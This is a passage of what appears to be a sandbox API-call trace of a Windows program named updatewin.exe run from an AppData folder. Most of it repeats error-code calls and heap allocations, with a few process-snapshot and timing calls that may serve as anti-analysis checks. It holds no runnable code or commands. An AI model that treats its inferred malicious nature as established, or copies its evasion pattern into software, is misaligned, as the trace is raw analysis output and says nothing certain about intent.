!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ", cchWideChar=256, lpMultiByteStr=0x18fb64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x78\x78\x4f\xfc\x9c\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0049.331] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x43b480, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598\\updatewin.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\d5bfbe52-943a-4f73-97b1-39918fa00598\\updatewin.exe")) returned 0x5e [0049.331] GetLastError () returned 0x0 [0049.331] SetLastError (dwErrCode=0x0) [0049.331] GetLastError () returned 0x0 [0049.331] SetLastError (dwErrCode=0x0) [0049.331] GetLastError () returned 0x0 [0049.332] SetLastError (dwErrCode=0x0) [0049.332] GetLastError () returned 0x0 [0049.332] SetLastError (dwErrCode=0x0) [0049.332] GetLastError () returned 0x0 [0049.332] SetLastError (dwErrCode=0x0) [0049.332] GetLastError () returned 0x0 [0049.332] SetLastError (dwErrCode=0x0) [0049.332] GetLastError () returned 0x0 [0049.332] SetLastError (dwErrCode=0x0) [0049.332] GetLastError () returned 0x0 [0049.332] SetLastError (dwErrCode=0x0) [0049.332] GetLastError () returned 0x0 [0049.332] SetLastError (dwErrCode=0x0) [0049.332] GetLastError () returned 0x0 [0049.332] SetLastError (dwErrCode=0x0) [0049.332] GetLastError () returned 0x0 [0049.332] SetLastError (dwErrCode=0x0) [0049.332] GetLastError () returned 0x0 [0049.332] SetLastError (dwErrCode=0x0) [0049.332] GetLastError () returned 0x0 [0049.332] SetLastError (dwErrCode=0x0) [0049.332] GetLastError () returned 0x0 [0049.332] SetLastError (dwErrCode=0x0) [0049.333] GetLastError () returned 0x0 [0049.333] SetLastError (dwErrCode=0x0) [0049.333] GetLastError () returned 0x0 [0049.333] SetLastError (dwErrCode=0x0) [0049.333] GetLastError () returned 0x0 [0049.333] SetLastError (dwErrCode=0x0) [0049.333] GetLastError () returned 0x0 [0049.333] SetLastError (dwErrCode=0x0) [0049.333] GetLastError () returned 0x0 [0049.333] SetLastError (dwErrCode=0x0) [0049.333] GetLastError () returned 0x0 [0049.333] SetLastError (dwErrCode=0x0) [0049.333] GetLastError () returned 0x0 [0049.333] SetLastError (dwErrCode=0x0) [0049.333] GetLastError () returned 0x0 [0049.333] SetLastError (dwErrCode=0x0) [0049.333] GetLastError () returned 0x0 [0049.333] SetLastError (dwErrCode=0x0) [0049.333] GetLastError () returned 0x0 [0049.333] SetLastError (dwErrCode=0x0) [0049.333] GetLastError () returned 0x0 [0049.333] SetLastError (dwErrCode=0x0) [0049.333] GetLastError () returned 0x0 [0049.333] SetLastError (dwErrCode=0x0) [0049.333] GetLastError () returned 0x0 [0049.334] SetLastError (dwErrCode=0x0) [0049.334] GetLastError () returned 0x0 [0049.334] SetLastError (dwErrCode=0x0) [0049.334] GetLastError () returned 0x0 [0049.334] SetLastError (dwErrCode=0x0) [0049.334] GetLastError () returned 0x0 [0049.334] SetLastError (dwErrCode=0x0) [0049.334] GetLastError () returned 0x0 [0049.334] SetLastError (dwErrCode=0x0) [0049.334] GetLastError () returned 0x0 [0049.334] SetLastError (dwErrCode=0x0) [0049.334] GetLastError () returned 0x0 [0049.334] SetLastError (dwErrCode=0x0) [0049.334] GetLastError () returned 0x0 [0049.334] SetLastError (dwErrCode=0x0) [0049.334] GetLastError () returned 0x0 [0049.334] SetLastError (dwErrCode=0x0) [0049.334] GetLastError () returned 0x0 [0049.334] SetLastError (dwErrCode=0x0) [0049.334] GetLastError () returned 0x0 [0049.334] SetLastError (dwErrCode=0x0) [0049.334] GetLastError () returned 0x0 [0049.334] SetLastError (dwErrCode=0x0) [0049.334] GetLastError () returned 0x0 [0049.335] SetLastError (dwErrCode=0x0) [0049.335] GetLastError () returned 0x0 [0049.335] SetLastError (dwErrCode=0x0) [0049.335] GetLastError () returned 0x0 [0049.335] SetLastError (dwErrCode=0x0) [0049.335] GetLastError () returned 0x0 [0049.335] SetLastError (dwErrCode=0x0) [0049.335] GetLastError () returned 0x0 [0049.335] SetLastError (dwErrCode=0x0) [0049.335] GetLastError () returned 0x0 [0049.335] SetLastError (dwErrCode=0x0) [0049.335] GetLastError () returned 0x0 [0049.335] SetLastError (dwErrCode=0x0) [0049.335] GetLastError () returned 0x0 [0049.335] SetLastError (dwErrCode=0x0) [0049.335] GetLastError () returned 0x0 [0049.335] SetLastError (dwErrCode=0x0) [0049.335] GetLastError () returned 0x0 [0049.335] SetLastError (dwErrCode=0x0) [0049.335] GetLastError () returned 0x0 [0049.335] SetLastError (dwErrCode=0x0) [0049.335] GetLastError () returned 0x0 [0049.335] SetLastError (dwErrCode=0x0) [0049.335] GetLastError () returned 0x0 [0049.336] SetLastError (dwErrCode=0x0) [0049.336] GetLastError () returned 0x0 [0049.336] SetLastError (dwErrCode=0x0) [0049.336] GetLastError () returned 0x0 [0049.336] SetLastError (dwErrCode=0x0) [0049.336] GetLastError () returned 0x0 [0049.336] SetLastError (dwErrCode=0x0) [0049.336] GetLastError () returned 0x0 [0049.336] SetLastError (dwErrCode=0x0) [0049.336] GetLastError () returned 0x0 [0049.336] SetLastError (dwErrCode=0x0) [0049.336] GetLastError () returned 0x0 [0049.336] SetLastError (dwErrCode=0x0) [0049.336] GetLastError () returned 0x0 [0049.336] SetLastError (dwErrCode=0x0) [0049.336] GetLastError () returned 0x0 [0049.336] SetLastError (dwErrCode=0x0) [0049.336] GetLastError () returned 0x0 [0049.336] SetLastError (dwErrCode=0x0) [0049.336] GetLastError () returned 0x0 [0049.336] SetLastError (dwErrCode=0x0) [0049.336] GetLastError () returned 0x0 [0049.336] SetLastError (dwErrCode=0x0) [0049.336] GetLastError () returned 0x0 [0049.337] SetLastError (dwErrCode=0x0) [0049.337] GetLastError () returned 0x0 [0049.337] SetLastError (dwErrCode=0x0) [0049.337] GetLastError () returned 0x0 [0049.337] SetLastError (dwErrCode=0x0) [0049.337] GetLastError () returned 0x0 [0049.337] SetLastError (dwErrCode=0x0) [0049.337] GetLastError () returned 0x0 [0049.337] SetLastError (dwErrCode=0x0) [0049.337] GetLastError () returned 0x0 [0049.337] SetLastError (dwErrCode=0x0) [0049.337] GetLastError () returned 0x0 [0049.337] SetLastError (dwErrCode=0x0) [0049.337] GetLastError () returned 0x0 [0049.337] SetLastError (dwErrCode=0x0) [0049.337] GetLastError () returned 0x0 [0049.337] SetLastError (dwErrCode=0x0) [0049.337] GetLastError () returned 0x0 [0049.337] SetLastError (dwErrCode=0x0) [0049.337] GetLastError () returned 0x0 [0049.337] SetLastError (dwErrCode=0x0) [0049.337] GetLastError () returned 0x0 [0049.337] SetLastError (dwErrCode=0x0) [0049.337] GetLastError () returned 0x0 [0049.338] SetLastError (dwErrCode=0x0) [0049.338] GetLastError () returned 0x0 [0049.338] SetLastError (dwErrCode=0x0) [0049.338] GetLastError () returned 0x0 [0049.338] SetLastError (dwErrCode=0x0) [0049.338] GetLastError () returned 0x0 [0049.338] SetLastError (dwErrCode=0x0) [0049.338] GetLastError () returned 0x0 [0049.338] SetLastError (dwErrCode=0x0) [0049.338] GetLastError () returned 0x0 [0049.338] SetLastError (dwErrCode=0x0) [0049.338] GetLastError () returned 0x0 [0049.338] SetLastError (dwErrCode=0x0) [0049.338] GetLastError () returned 0x0 [0049.338] SetLastError (dwErrCode=0x0) [0049.338] GetLastError () returned 0x0 [0049.338] SetLastError (dwErrCode=0x0) [0049.338] GetLastError () returned 0x0 [0049.338] SetLastError (dwErrCode=0x0) [0049.338] GetLastError () returned 0x0 [0049.338] SetLastError (dwErrCode=0x0) [0049.338] GetLastError () returned 0x0 [0049.338] SetLastError (dwErrCode=0x0) [0049.338] GetLastError () returned 0x0 [0049.338] SetLastError (dwErrCode=0x0) [0049.338] GetLastError () returned 0x0 [0049.339] SetLastError (dwErrCode=0x0) [0049.339] GetLastError () returned 0x0 [0049.339] SetLastError (dwErrCode=0x0) [0049.339] GetLastError () returned 0x0 [0049.339] SetLastError (dwErrCode=0x0) [0049.339] GetLastError () returned 0x0 [0049.339] SetLastError (dwErrCode=0x0) [0049.339] GetLastError () returned 0x0 [0049.339] SetLastError (dwErrCode=0x0) [0049.339] GetLastError () returned 0x0 [0049.339] SetLastError (dwErrCode=0x0) [0049.339] GetLastError () returned 0x0 [0049.339] SetLastError (dwErrCode=0x0) [0049.339] GetLastError () returned 0x0 [0049.339] SetLastError (dwErrCode=0x0) [0049.339] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x67) returned 0x591990 [0049.339] GetLastError () returned 0x0 [0049.339] SetLastError (dwErrCode=0x0) [0049.339] GetLastError () returned 0x0 [0049.339] SetLastError (dwErrCode=0x0) [0049.339] GetLastError () returned 0x0 [0049.339] SetLastError (dwErrCode=0x0) [0049.339] GetLastError () returned 0x0 [0049.339] SetLastError (dwErrCode=0x0) [0049.340] GetLastError () returned 0x0 [0049.340] SetLastError (dwErrCode=0x0) [0049.340] GetLastError () returned 0x0 [0049.340] SetLastError (dwErrCode=0x0) [0049.340] GetLastError () returned 0x0 [0049.340] SetLastError (dwErrCode=0x0) [0049.340] GetLastError () returned 0x0 [0049.340] SetLastError (dwErrCode=0x0) [0049.340] GetLastError () returned 0x0 [0049.340] SetLastError (dwErrCode=0x0) [0049.340] GetLastError () returned 0x0 [0049.340] SetLastError (dwErrCode=0x0) [0049.340] GetLastError () returned 0x0 [0049.340] SetLastError (dwErrCode=0x0) [0049.340] GetLastError () returned 0x0 [0049.340] SetLastError (dwErrCode=0x0) [0049.340] GetLastError () returned 0x0 [0049.340] SetLastError (dwErrCode=0x0) [0049.340] GetLastError () returned 0x0 [0049.340] SetLastError (dwErrCode=0x0) [0049.340] GetLastError () returned 0x0 [0049.340] SetLastError (dwErrCode=0x0) [0049.340] GetLastError () returned 0x0 [0049.340] SetLastError (dwErrCode=0x0) [0049.340] GetLastError () returned 0x0 [0049.341] SetLastError (dwErrCode=0x0) [0049.341] GetLastError () returned 0x0 [0049.341] SetLastError (dwErrCode=0x0) [0049.341] GetLastError () returned 0x0 [0049.341] SetLastError (dwErrCode=0x0) [0049.341] GetLastError () returned 0x0 [0049.341] SetLastError (dwErrCode=0x0) [0049.341] GetLastError () returned 0x0 [0049.341] SetLastError (dwErrCode=0x0) [0049.341] GetLastError () returned 0x0 [0049.341] SetLastError (dwErrCode=0x0) [0049.341] GetLastError () returned 0x0 [0049.341] SetLastError (dwErrCode=0x0) [0049.341] GetLastError () returned 0x0 [0049.341] SetLastError (dwErrCode=0x0) [0049.341] GetLastError () returned 0x0 [0049.341] SetLastError (dwErrCode=0x0) [0049.341] GetLastError () returned 0x0 [0049.341] SetLastError (dwErrCode=0x0) [0049.341] GetLastError () returned 0x0 [0049.341] SetLastError (dwErrCode=0x0) [0049.341] GetLastError () returned 0x0 [0049.341] SetLastError (dwErrCode=0x0) [0049.341] GetLastError () returned 0x0 [0049.342] SetLastError (dwErrCode=0x0) [0049.342] GetLastError () returned 0x0 [0049.342] SetLastError (dwErrCode=0x0) [0049.342] GetLastError () returned 0x0 [0049.342] SetLastError (dwErrCode=0x0) [0049.342] GetLastError () returned 0x0 [0049.342] SetLastError (dwErrCode=0x0) [0049.342] GetLastError () returned 0x0 [0049.342] SetLastError (dwErrCode=0x0) [0049.342] GetLastError () returned 0x0 [0049.342] SetLastError (dwErrCode=0x0) [0049.342] GetLastError () returned 0x0 [0049.342] SetLastError (dwErrCode=0x0) [0049.342] GetLastError () returned 0x0 [0049.342] SetLastError (dwErrCode=0x0) [0049.342] GetLastError () returned 0x0 [0049.342] SetLastError (dwErrCode=0x0) [0049.342] GetLastError () returned 0x0 [0049.342] SetLastError (dwErrCode=0x0) [0049.342] GetLastError () returned 0x0 [0049.342] SetLastError (dwErrCode=0x0) [0049.342] GetLastError () returned 0x0 [0049.342] SetLastError (dwErrCode=0x0) [0049.342] GetLastError () returned 0x0 [0049.343] SetLastError (dwErrCode=0x0) [0049.343] GetLastError () returned 0x0 [0049.343] SetLastError (dwErrCode=0x0) [0049.343] GetLastError () returned 0x0 [0049.343] SetLastError (dwErrCode=0x0) [0049.343] GetLastError () returned 0x0 [0049.343] SetLastError (dwErrCode=0x0) [0049.343] GetLastError () returned 0x0 [0049.343] SetLastError (dwErrCode=0x0) [0049.343] GetLastError () returned 0x0 [0049.343] SetLastError (dwErrCode=0x0) [0049.343] GetLastError () returned 0x0 [0049.343] SetLastError (dwErrCode=0x0) [0049.343] GetLastError () returned 0x0 [0049.343] SetLastError (dwErrCode=0x0) [0049.343] GetLastError () returned 0x0 [0049.343] SetLastError (dwErrCode=0x0) [0049.343] GetLastError () returned 0x0 [0049.343] SetLastError (dwErrCode=0x0) [0049.343] GetLastError () returned 0x0 [0049.344] SetLastError (dwErrCode=0x0) [0049.344] GetLastError () returned 0x0 [0049.344] SetLastError (dwErrCode=0x0) [0049.344] GetLastError () returned 0x0 [0049.344] SetLastError (dwErrCode=0x0) [0049.344] GetLastError () returned 0x0 [0049.344] SetLastError (dwErrCode=0x0) [0049.344] GetLastError () returned 0x0 [0049.344] SetLastError (dwErrCode=0x0) [0049.344] GetLastError () returned 0x0 [0049.344] SetLastError (dwErrCode=0x0) [0049.344] GetLastError () returned 0x0 [0049.344] SetLastError (dwErrCode=0x0) [0049.344] GetLastError () returned 0x0 [0049.344] SetLastError (dwErrCode=0x0) [0049.344] GetLastError () returned 0x0 [0049.344] SetLastError (dwErrCode=0x0) [0049.344] GetLastError () returned 0x0 [0049.344] SetLastError (dwErrCode=0x0) [0049.344] GetLastError () returned 0x0 [0049.344] SetLastError (dwErrCode=0x0) [0049.344] GetLastError () returned 0x0 [0049.344] SetLastError (dwErrCode=0x0) [0049.344] GetLastError () returned 0x0 [0049.345] SetLastError (dwErrCode=0x0) [0049.345] GetLastError () returned 0x0 [0049.345] SetLastError (dwErrCode=0x0) [0049.345] GetLastError () returned 0x0 [0049.345] SetLastError (dwErrCode=0x0) [0049.345] GetLastError () returned 0x0 [0049.345] SetLastError (dwErrCode=0x0) [0049.345] GetLastError () returned 0x0 [0049.345] SetLastError (dwErrCode=0x0) [0049.345] GetLastError () returned 0x0 [0049.345] SetLastError (dwErrCode=0x0) [0049.345] GetLastError () returned 0x0 [0049.345] SetLastError (dwErrCode=0x0) [0049.345] GetLastError () returned 0x0 [0049.345] SetLastError (dwErrCode=0x0) [0049.345] GetLastError () returned 0x0 [0049.345] SetLastError (dwErrCode=0x0) [0049.345] GetLastError () returned 0x0 [0049.345] SetLastError (dwErrCode=0x0) [0049.345] GetLastError () returned 0x0 [0049.345] SetLastError (dwErrCode=0x0) [0049.345] GetLastError () returned 0x0 [0049.345] SetLastError (dwErrCode=0x0) [0049.345] GetLastError () returned 0x0 [0049.345] SetLastError (dwErrCode=0x0) [0049.345] GetLastError () returned 0x0 [0049.346] SetLastError (dwErrCode=0x0) [0049.346] GetLastError () returned 0x0 [0049.346] SetLastError (dwErrCode=0x0) [0049.346] GetLastError () returned 0x0 [0049.346] SetLastError (dwErrCode=0x0) [0049.346] GetLastError () returned 0x0 [0049.346] SetLastError (dwErrCode=0x0) [0049.346] GetLastError () returned 0x0 [0049.346] SetLastError (dwErrCode=0x0) [0049.346] GetLastError () returned 0x0 [0049.346] SetLastError (dwErrCode=0x0) [0049.346] GetLastError () returned 0x0 [0049.346] SetLastError (dwErrCode=0x0) [0049.346] GetLastError () returned 0x0 [0049.346] SetLastError (dwErrCode=0x0) [0049.346] GetLastError () returned 0x0 [0049.346] SetLastError (dwErrCode=0x0) [0049.346] GetLastError () returned 0x0 [0049.346] SetLastError (dwErrCode=0x0) [0049.346] GetLastError () returned 0x0 [0049.346] SetLastError (dwErrCode=0x0) [0049.346] GetLastError () returned 0x0 [0049.346] SetLastError (dwErrCode=0x0) [0049.346] GetLastError () returned 0x0 [0049.347] SetLastError (dwErrCode=0x0) [0049.347] GetLastError () returned 0x0 [0049.347] SetLastError (dwErrCode=0x0) [0049.347] GetLastError () returned 0x0 [0049.347] SetLastError (dwErrCode=0x0) [0049.347] GetLastError () returned 0x0 [0049.347] SetLastError (dwErrCode=0x0) [0049.347] GetLastError () returned 0x0 [0049.347] SetLastError (dwErrCode=0x0) [0049.347] GetLastError () returned 0x0 [0049.347] SetLastError (dwErrCode=0x0) [0049.347] GetLastError () returned 0x0 [0049.347] SetLastError (dwErrCode=0x0) [0049.347] GetLastError () returned 0x0 [0049.347] SetLastError (dwErrCode=0x0) [0049.347] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x98) returned 0x591a00 [0049.347] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x1f) returned 0x591aa0 [0049.347] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x36) returned 0x591ac8 [0049.347] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x37) returned 0x591b08 [0049.396] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x3c) returned 0x591b48 [0049.396] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x31) returned 0x591b90 [0049.396] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x17) returned 0x591bd0 [0049.396] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x24) returned 0x591bf0 [0049.396] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x14) returned 0x591c20 [0049.396] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0xd) returned 0x591c40 [0049.396] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x25) returned 0x591c58 [0049.396] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x39) returned 0x591c88 [0049.396] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x18) returned 0x591cd0 [0049.396] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x17) returned 0x591cf0 [0049.396] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0xe) returned 0x591d10 [0049.396] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x69) returned 0x591d28 [0049.396] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x3e) returned 0x591da0 [0049.396] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x1b) returned 0x591de8 [0049.396] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x1d) returned 0x591e10 [0049.396] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x48) returned 0x591e38 [0049.396] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x12) returned 0x591e88 [0049.396] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x18) returned 0x591ea8 [0049.396] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x1b) returned 0x591ec8 [0049.396] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x24) returned 0x591ef0 [0049.396] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x29) returned 0x591f20 [0049.396] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x1e) returned 0x591f58 [0049.396] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x41) returned 0x591f80 [0049.396] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x17) returned 0x591fd0 [0049.397] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0xf) returned 0x591ff0 [0049.397] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x16) returned 0x592008 [0049.397] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x2a) returned 0x592028 [0049.397] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x29) returned 0x592060 [0049.397] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x15) returned 0x592098 [0049.397] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x1e) returned 0x5920b8 [0049.397] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x2a) returned 0x5920e0 [0049.397] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x12) returned 0x592118 [0049.397] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x18) returned 0x592138 [0049.397] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x46) returned 0x592158 [0049.397] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5911f8 | out: hHeap=0x590000) returned 1 [0049.398] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x800) returned 0x5921a8 [0049.398] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x80) returned 0x5911f8 [0049.398] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x404e69) returned 0x0 [0049.398] RtlSizeHeap (HeapHandle=0x590000, Flags=0x0, MemoryPointer=0x5911f8) returned 0x80 [0049.399] GetLastError () returned 0x0 [0049.399] SetLastError (dwErrCode=0x0) [0049.399] GetLastError () returned 0x0 [0049.399] SetLastError (dwErrCode=0x0) [0049.399] GetLastError () returned 0x0 [0049.399] SetLastError (dwErrCode=0x0) [0049.399] GetLastError () returned 0x0 [0049.399] SetLastError (dwErrCode=0x0) [0049.399] GetLastError () returned 0x0 [0049.399] SetLastError (dwErrCode=0x0) [0049.399] GetLastError () returned 0x0 [0049.399] SetLastError (dwErrCode=0x0) [0049.399] GetLastError () returned 0x0 [0049.399] SetLastError (dwErrCode=0x0) [0049.399] GetLastError () returned 0x0 [0049.399] SetLastError (dwErrCode=0x0) [0049.399] GetLastError () returned 0x0 [0049.399] SetLastError (dwErrCode=0x0) [0049.399] GetLastError () returned 0x0 [0049.399] SetLastError (dwErrCode=0x0) [0049.399] GetLastError () returned 0x0 [0049.400] SetLastError (dwErrCode=0x0) [0049.400] GetLastError () returned 0x0 [0049.400] SetLastError (dwErrCode=0x0) [0049.400] GetLastError () returned 0x0 [0049.400] SetLastError (dwErrCode=0x0) [0049.400] GetLastError () returned 0x0 [0049.400] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0049.400] GetProcAddress (hModule=0x76c20000, lpProcName="CreateToolhelp32Snapshot") returned 0x76c5735f [0049.400] GetProcAddress (hModule=0x76c20000, lpProcName="Module32FirstW") returned 0x76c579f9 [0049.400] CreateToolhelp32Snapshot (dwFlags=0x8, th32ProcessID=0x0) returned 0x78 [0049.402] Module32FirstW (hSnapshot=0x78, lpme=0x18fac8) returned 0 [0049.402] PeekMessageA (in: lpMsg=0x18fa38, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x18fa38) returned 0 [0049.402] GetTickCount () returned 0x1b0b8 [0049.402] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.403] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.403] GetACP () returned 0x4e4 [0049.403] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.403] GetCPInfo (in: 